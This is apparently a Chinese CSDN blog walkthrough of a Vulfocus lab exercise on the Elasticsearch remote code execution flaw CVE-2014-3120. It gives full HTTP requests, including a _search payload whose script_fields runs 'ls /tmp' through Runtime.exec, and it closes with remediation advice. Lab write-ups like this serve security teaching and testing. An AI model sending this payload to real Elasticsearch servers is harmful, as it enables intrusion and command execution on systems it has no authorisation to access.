[Vulfocus解题系列]ElasticSearch命令执行漏洞(CVE-2014-3120)

本文介绍了Elasticsearch在1.2之前版本中由于动态脚本启用导致的安全漏洞,通过burp抓包和构造特殊请求包执行任意MVEL表达式,展示了漏洞利用过程,并给出了升级版本和配置script_disable_dynamic来防止攻击的建议。
摘要由CSDN通过智能技术生成

漏洞介绍

Elasticsearch 是一个基于 Lucene 库的搜索引擎,具有 HTTP Web 接口和无模式 JSON 文档。Elasticsearch 是用 Java 开发的,其支持 MVEL、js、Java 等语言,其老版本默认语言为 MVEL。

MVEL :一个被众多 Java 项目使用的开源的表达式语言。

Elasticsearch 1.2之前的版本默认配置启用了动态脚本,该脚本允许远程攻击者通过 _search 的 source 参数执行任意 MVEL 表达式和 Java 代码。

影响版本

Elasticsearch < 1.2

解题过程

1.打开靶场环境,可以看到版本为1.1.1
在这里插入图片描述

2.burp抓包
在这里插入图片描述
3.使用特定的请求包向 Elasticsearch 添加一条数据

{
“name”: “vulfocus”
}

请求包如下:

POST /website/blog/ HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 26
{
“name”: “vulfocus”
}

返回201,说明添加数据成功
在这里插入图片描述
4.script 为最终执行 Java 代码的地方,此字段会被默认当作脚本执行,按照其 json 格式向其填充要执行的代码即可
漏洞利用的请求包如下:

POST /_search?pretty HTTP/1.1
Host: 118.193.36.37:46737
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 361
{
“size”: 1,
“query”: {
“filtered”: {
“query”: {
“match_all”: {
}
}
}
},
“script_fields”: {
“command”: {
“script”: “import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(“ls /tmp”).getInputStream()).useDelimiter(”\\A").next();"
}
}
}

在这里插入图片描述

漏洞修复

防御方法

  1. 升级版本

  2. 在elasticsearch.yml里配置script.disable_dynamic: true

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值